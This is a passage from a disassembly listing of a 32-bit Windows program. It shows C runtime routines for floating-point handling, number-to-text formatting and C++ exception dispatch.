; CODE XREF: sub_4146B4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_4146D1 add eax, 8 inc ecx cmp eax, offset dbl_42E488 jl short loc_4146BB xor eax, eax retn ; --------------------------------------------------------------------------- loc_4146D1: ; CODE XREF: sub_4146B4+Dj mov eax, ds:off_42E3B4[ecx*8] retn sub_4146B4 endp ; =============== S U B R O U T I N E ======================================= sub_4146D9 proc near ; CODE XREF: sub_4140A4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_4146E5 push 5 jmp short loc_4146FB ; --------------------------------------------------------------------------- loc_4146E5: ; CODE XREF: sub_4146D9+6j test al, 8 jz short loc_4146ED push 1 jmp short loc_4146FB ; --------------------------------------------------------------------------- loc_4146ED: ; CODE XREF: sub_4146D9+Ej test al, 4 jz short loc_4146F5 push 2 jmp short loc_4146FB ; --------------------------------------------------------------------------- loc_4146F5: ; CODE XREF: sub_4146D9+16j test al, 1 jz short loc_4146FD push 3 loc_4146FB: ; CODE XREF: sub_4146D9+Aj ; sub_4146D9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_4146FD: ; CODE XREF: sub_4146D9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_4146D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_414706(double) sub_414706 proc near ; CODE XREF: sub_410CB2:loc_410D38p ; sub_410DFB:loc_410E81p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_414706 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_414718(double,int) sub_414718 proc near ; CODE XREF: sub_41479B+82p ; sub_41479B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_414718 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414741 proc near ; CODE XREF: sub_410CB2+31p ; sub_410DFB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_414758 cmp [ebp+arg_0], edx jnz short loc_41476A push 1 jmp short loc_414794 ; --------------------------------------------------------------------------- loc_414758: ; CODE XREF: sub_414741+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41476A cmp [ebp+arg_0], edx jnz short loc_41476A push 2 jmp short loc_414794 ; --------------------------------------------------------------------------- loc_41476A: ; CODE XREF: sub_414741+11j ; sub_414741+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41477D push 3 jmp short loc_414794 ; --------------------------------------------------------------------------- loc_41477D: ; CODE XREF: sub_414741+36j cmp cx, 7FF0h jnz short loc_414797 test [ebp+arg_4], 7FFFFh jnz short loc_414792 cmp [ebp+arg_0], edx jz short loc_414797 loc_414792: ; CODE XREF: sub_414741+4Aj push 4 loc_414794: ; CODE XREF: sub_414741+15j ; sub_414741+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_414797: ; CODE XREF: sub_414741+41j ; sub_414741+4Fj xor eax, eax pop ebp retn sub_414741 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41479B(double,int) sub_41479B proc near ; CODE XREF: sub_4143EF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp ds:dbl_41C790 push esi fnstsw ax sahf jnz short loc_4147BB fldz xor esi, esi fstp [ebp+var_8] jmp loc_414851 ; --------------------------------------------------------------------------- loc_4147BB: ; CODE XREF: sub_41479B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41482A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_4147D3 cmp dword ptr [ebp+arg_0], ecx jz short loc_41482A loc_4147D3: ; CODE XREF: sub_41479B+31j fld [ebp+arg_0] fcomp ds:dbl_41C790 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_4147EB push 1 pop eax jmp short loc_4147ED ; --------------------------------------------------------------------------- loc_4147EB: ; CODE XREF: sub_41479B+49j xor eax, eax loc_4147ED: ; CODE XREF: sub_41479B+4Ej ; sub_41479B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_414806 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_414800 or dword ptr [ebp+arg_0+4], 1 loc_414800: ; CODE XREF: sub_41479B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_4147ED ; --------------------------------------------------------------------------- loc_414806: ; CODE XREF: sub_41479B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_414814 or byte ptr [ebp+arg_0+7], 80h loc_414814: ; CODE XREF: sub_41479B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_414718 fstp [ebp+var_8] add esp, 0Ch jmp short loc_414851 ; --------------------------------------------------------------------------- loc_41482A: ; CODE XREF: sub_41479B+28j ; sub_41479B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_414718 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_414851: ; CODE XREF: sub_41479B+1Bj ; sub_41479B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41479B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41485C proc near ; CODE XREF: sub_41413C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41485C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41486A proc near ; CODE XREF: sub_41413C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41486A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414879 proc near ; CODE XREF: sub_410CB2+13p ; sub_410CB2+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_414879 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41489C proc near ; CODE XREF: sub_4143EF+1Dp ; sub_4143EF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_4148B3 fld ds:tbyte_42E4B0 fistp [ebp+arg_0] wait loc_4148B3: ; CODE XREF: sub_41489C+Bj test cl, 8 jz short loc_4148C8 fstsw ax fld ds:tbyte_42E4B0 fstp [ebp+var_8] wait fstsw ax loc_4148C8: ; CODE XREF: sub_41489C+1Aj test cl, 10h jz short loc_4148D7 fld ds:tbyte_42E4BC fstp [ebp+var_8] wait loc_4148D7: ; CODE XREF: sub_41489C+2Fj test cl, 4 jz short loc_4148E5 fldz fld1 fdivrp st(1), st fstp st wait loc_4148E5: ; CODE XREF: sub_41489C+3Ej test cl, 20h jz short locret_4148F0 fldpi fstp [ebp+var_8] wait locret_4148F0: ; CODE XREF: sub_41489C+4Cj leave retn sub_41489C endp ; =============== S U B R O U T I N E ======================================= sub_4148F2 proc near ; CODE XREF: sub_410D81+Fp push 30000h push 10000h call sub_418265 pop ecx pop ecx retn sub_4148F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414904 proc near ; CODE XREF: sub_414942:loc_414966j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_41C7A0 fstp [ebp+var_8] fld ds:dbl_41C798 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_41C650 fnstsw ax sahf jbe short loc_41493E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41493E: ; CODE XREF: sub_414904+33j xor eax, eax leave retn sub_414904 endp ; =============== S U B R O U T I N E ======================================= sub_414942 proc near ; CODE XREF: sub_410D81+5p push offset aKernel32 ; "KERNEL32" call near ptr 0D00004h wait test eax, eax jz short loc_414966 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:dword_41C0B0 test eax, eax jz short loc_414966 push 0 call eax retn ; --------------------------------------------------------------------------- loc_414966: ; CODE XREF: sub_414942+Dj ; sub_414942+1Dj jmp sub_414904 sub_414942 endp ; =============== S U B R O U T I N E ======================================= sub_41496B proc near ; CODE XREF: sub_412C3C+3CBp ; DATA XREF: sub_410D99+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_412027 cmp eax, 65h pop ecx jz short loc_4149AB loc_41497F: ; CODE XREF: sub_41496B+3Ej inc esi cmp ds:dword_42E39C, 1 jle short loc_414998 movsx eax, byte ptr [esi] push 4 push eax call sub_413446 pop ecx pop ecx jmp short loc_4149A7 ; --------------------------------------------------------------------------- loc_414998: ; CODE XREF: sub_41496B+1Cj movsx eax, byte ptr [esi] mov ecx, ds:off_42E190 mov al, [ecx+eax*2] and eax, 4 loc_4149A7: ; CODE XREF: sub_41496B+2Bj test eax, eax jnz short loc_41497F loc_4149AB: ; CODE XREF: sub_41496B+12j mov cl, ds:byte_42E3A0 mov al, [esi] mov [esi], cl inc esi loc_4149B6: ; CODE XREF: sub_41496B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_4149B6 pop esi retn sub_41496B endp ; =============== S U B R O U T I N E ======================================= sub_4149C5 proc near ; CODE XREF: sub_412C3C+3E2p ; DATA XREF: sub_410D99+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, ds:byte_42E3A0 mov cl, [eax] test cl, cl jz short loc_4149E1 loc_4149D5: ; CODE XREF: sub_4149C5+1Aj cmp cl, dl jz short loc_4149E1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4149D5 loc_4149E1: ; CODE XREF: sub_4149C5+Ej ; sub_4149C5+12j mov cl, [eax] inc eax test cl, cl jz short locret_414A12 loc_4149E8: ; CODE XREF: sub_4149C5+34j mov cl, [eax] test cl, cl jz short loc_4149FB cmp cl, 65h jz short loc_4149FB cmp cl, 45h jz short loc_4149FB inc eax jmp short loc_4149E8 ; --------------------------------------------------------------------------- loc_4149FB: ; CODE XREF: sub_4149C5+27j ; sub_4149C5+2Cj ... mov ecx, eax loc_4149FD: ; CODE XREF: sub_4149C5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_4149FD cmp [eax], dl jnz short loc_414A08 dec eax loc_414A08: ; CODE XREF: sub_4149C5+40j ; sub_4149C5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_414A08 locret_414A12: ; CODE XREF: sub_4149C5+21j retn sub_4149C5 endp ; =============== S U B R O U T I N E ======================================= sub_414A13 proc near ; DATA XREF: sub_410D99+28o ; seg002:off_42E4D8o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_41C790 fnstsw ax sahf jb short loc_414A28 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_414A28: ; CODE XREF: sub_414A13+Fj xor eax, eax retn sub_414A13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A2B proc near ; CODE XREF: sub_41578D+430p ; DATA XREF: sub_410D99+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_414A54 lea eax, [ebp+var_8] push eax call sub_418728 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_414A54: ; CODE XREF: sub_414A2B+Cj lea eax, [ebp+arg_8] push eax call sub_418755 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_414A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A69 proc near ; CODE XREF: sub_414CE6+17p ; sub_414D30+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:byte_45F8A8, 0 push ebx push esi jz short loc_414A9E mov ebx, [ebp+arg_8] mov eax, ds:dword_45F8A4 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_414D81 pop ecx pop ecx jmp short loc_414AD6 ; --------------------------------------------------------------------------- loc_414A9E: ; CODE XREF: sub_414A69+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4187F9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_418782 add esp, 14h loc_414AD6: ; CODE XREF: sub_414A69+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_414AE2 mov byte ptr [eax], 2Dh inc eax loc_414AE2: ; CODE XREF: sub_414A69+73j test ebx, ebx jle short loc_414AFA mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, ds:byte_42E3A0 mov eax, edi pop edi mov [eax], cl loc_414AFA: ; CODE XREF: sub_414A69+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp ds:byte_45F8A8, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_411B70 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_414B21 mov byte ptr [ecx], 45h loc_414B21: ; CODE XREF: sub_414A69+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_414B66 mov ebx, [esi+4] dec ebx jns short loc_414B35 neg ebx mov byte ptr [ecx], 2Dh loc_414B35: ; CODE XREF: sub_414A69+C5j inc ecx cmp ebx, 64h jl short loc_414B4C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_414B4C: ; CODE XREF: sub_414A69+D0j inc ecx cmp ebx, 0Ah jl short loc_414B63 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_414B63: ; CODE XREF: sub_414A69+E7j add [ecx+1], bl loc_414B66: ; CODE XREF: sub_414A69+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_414A69 endp ; =============== S U B R O U T I N E ======================================= sub_414B6D proc near ; CODE XREF: sub_414D0D+13p ; sub_414D30+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp ds:byte_45F8A8, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_414BA8 mov eax, ds:dword_45F8AC mov ebx, [esp+10h+arg_8] mov esi, ds:dword_45F8A4 cmp eax, ebx jnz short loc_414BD8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_414BD8 ; --------------------------------------------------------------------------- loc_414BA8: ; CODE XREF: sub_414B6D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4187F9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_418782 add esp, 14h loc_414BD8: ; CODE XREF: sub_414B6D+22j ; sub_414B6D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_414BE6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_414BE6: ; CODE XREF: sub_414B6D+70j mov eax, [esi+4] test eax, eax jg short loc_414BFD push 1 push edi call sub_414D81 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_414BFF ; --------------------------------------------------------------------------- loc_414BFD: ; CODE XREF: sub_414B6D+7Ej add edi, eax loc_414BFF: ; CODE XREF: sub_414B6D+8Ej test ebx, ebx jle short loc_414C44 push 1 push edi call sub_414D81 mov al, ds:byte_42E3A0 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_414C44 cmp ds:byte_45F8A8, 0 jz short loc_414C29 neg esi jmp short loc_414C2F ; --------------------------------------------------------------------------- loc_414C29: ; CODE XREF: sub_414B6D+B6j neg esi cmp ebx, esi jl short loc_414C31 loc_414C2F: ; CODE XREF: sub_414B6D+BAj mov ebx, esi loc_414C31: ; CODE XREF: sub_414B6D+C0j push ebx push edi call sub_414D81 push ebx push 30h push edi call sub_410590 add esp, 14h loc_414C44: ; CODE XREF: sub_414B6D+94j ; sub_414B6D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_414B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C4B proc near ; CODE XREF: sub_414D30+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4187F9 mov ds:dword_45F8A4, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov ds:dword_45F8AC, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_418782 mov eax, ds:dword_45F8A4 add esp, 14h mov ecx, [eax+4] dec ecx cmp ds:dword_45F8AC, ecx setl cl mov ds:byte_45F8B0, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov ds:dword_45F8AC, eax jl short loc_414CD1 cmp eax, ebx jge short loc_414CD1 test cl, cl jz short loc_414CC2 loc_414CB8: ; CODE XREF: sub_414C4B+72j mov al, [esi] inc esi test al, al jnz short loc_414CB8 and [esi-2], al loc_414CC2: ; CODE XREF: sub_414C4B+6Bj push ebx push [ebp+arg_4] push edi call sub_414D0D add esp, 0Ch jmp short loc_414CE1 ; --------------------------------------------------------------------------- loc_414CD1: ; CODE XREF: sub_414C4B+63j ; sub_414C4B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_414CE6 add esp, 10h loc_414CE1: ; CODE XREF: sub_414C4B+84j pop edi pop esi pop ebx pop ebp retn sub_414C4B endp ; =============== S U B R O U T I N E ======================================= sub_414CE6 proc near ; CODE XREF: sub_414C4B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov ds:byte_45F8A8, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_414A69 and ds:byte_45F8A8, 0 add esp, 10h retn sub_414CE6 endp ; =============== S U B R O U T I N E ======================================= sub_414D0D proc near ; CODE XREF: sub_414C4B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov ds:byte_45F8A8, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_414B6D and ds:byte_45F8A8, 0 add esp, 0Ch retn sub_414D0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D30 proc near ; CODE XREF: sub_412C3C+3AAp ; DATA XREF: sub_410D99o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_414D6B cmp [ebp+arg_8], 45h jz short loc_414D6B cmp [ebp+arg_8], 66h jnz short loc_414D58 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_414B6D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_414D58: ; CODE XREF: sub_414D30+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_414C4B jmp short loc_414D7C ; --------------------------------------------------------------------------- loc_414D6B: ; CODE XREF: sub_414D30+7j ; sub_414D30+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_414A69 loc_414D7C: ; CODE XREF: sub_414D30+39j add esp, 10h pop ebp retn sub_414D30 endp ; =============== S U B R O U T I N E ======================================= sub_414D81 proc near ; CODE XREF: sub_414A69+2Cp ; sub_414B6D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_414DA4 push esi mov esi, [esp+8+arg_0] push esi call sub_410B60 inc eax push eax push esi add esi, edi push esi call sub_4112D0 add esp, 10h pop esi loc_414DA4: ; CODE XREF: sub_414D81+7j pop edi retn sub_414D81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DA6 proc near ; CODE XREF: seg000:00410F7Cp ; sub_410FE5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_414DBC call sub_415642 loc_414DBC: ; CODE XREF: sub_414DA6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_414DE4 cmp dword ptr [esi+4], 0 jz short loc_414E3A cmp [ebp+arg_14], 0 jnz short loc_414E3A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4150ED add esp, 10h jmp short loc_414E3A ; --------------------------------------------------------------------------- loc_414DE4: ; CODE XREF: sub_414DA6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_414E3A cmp dword ptr [eax], 0E06D7363h jnz short loc_414E1E cmp [eax+14h], edi jbe short loc_414E1E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_414E1E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_414E3D ; --------------------------------------------------------------------------- loc_414E1E: ; CODE XREF: sub_414DA6+4Aj ; sub_414DA6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_414E41 add esp, 20h loc_414E3A: ; CODE XREF: sub_414DA6+23j ; sub_414DA6+29j ... push 1 pop eax loc_414E3D: ; CODE XREF: sub_414DA6+76j pop edi pop esi pop ebp retn sub_414DA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E41 proc near ; CODE XREF: sub_414DA6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_414E61 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_414E66 loc_414E61: ; CODE XREF: sub_414E41+16j call sub_415642 loc_414E66: ; CODE XREF: sub_414E41+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_414FBD cmp dword ptr [esi+10h], 3 jnz short loc_414EDA cmp [esi+14h], edi jnz short loc_414EDA cmp dword ptr [esi+1Ch], 0 jnz short loc_414EDA mov esi, ds:dword_45F8B4 test esi, esi jz loc_414FB8 mov eax, ds:dword_45F8B8 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_418980 pop ecx test eax, eax pop ecx jnz short loc_414EBC call sub_415642 loc_414EBC: ; CODE XREF: sub_414E41+74j cmp [esi], ebx jnz loc_414FBD cmp dword ptr [esi+10h], 3 jnz short loc_414EDA cmp [esi+14h], edi jnz short loc_414EDA cmp dword ptr [esi+1Ch], 0 jnz short loc_414EDA call sub_415642 loc_414EDA: ; CODE XREF: sub_414E41+41j ; sub_414E41+46j ... cmp [esi], ebx jnz loc_414FBD cmp dword ptr [esi+10h], 3 jnz loc_414FBD cmp [esi+14h], edi jnz loc_414FBD mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_411133 add esp, 14h mov ebx, eax loc_414F11: ; CODE XREF: sub_414E41+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_414FA8 cmp [ebx], edi jg short loc_414F9D cmp edi, [ebx+4] jg short loc_414F9D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_414F9A loc_414F36: ; CODE XREF: sub_414E41+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_414F67 loc_414F48: ; CODE XREF: sub_414E41+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_415090 add esp, 0Ch test eax, eax jnz short loc_414F76 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_414F48 loc_414F67: ; CODE XREF: sub_414E41+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_414F36 jmp short loc_414F9A ; --------------------------------------------------------------------------- loc_414F76: ; CODE XREF: sub_414E41+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4151A1 add esp, 2Ch loc_414F9A: ; CODE XREF: sub_414E41+F3j ; sub_414E41+133j mov edi, [ebp+var_10] loc_414F9D: ; CODE XREF: sub_414E41+DEj ; sub_414E41+E3j inc [ebp+var_4] add ebx, 14h jmp loc_414F11 ; --------------------------------------------------------------------------- loc_414FA8: ; CODE XREF: sub_414E41+D6j cmp [ebp+arg_14], 0 jz short loc_414FB8 push 1 push esi call sub_415516 pop ecx pop ecx loc_414FB8: ; CODE XREF: sub_414E41+56j ; sub_414E41+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_414FBD: ; CODE XREF: sub_414E41+37j ; sub_414E41+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_414FE3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_414FE8 add esp, 20h jmp short loc_414FB8 ; --------------------------------------------------------------------------- loc_414FE3: ; CODE XREF: sub_414E41+180j jmp sub_4155EC sub_414E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FE8 proc near ; CODE XREF: sub_414E41+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp ds:dword_45F8BC, 0 push esi push edi jz short loc_415019 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41100A add esp, 1Ch test eax, eax jnz short loc_41508C loc_415019: ; CODE XREF: sub_414FE8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_411133 add esp, 14h mov esi, eax 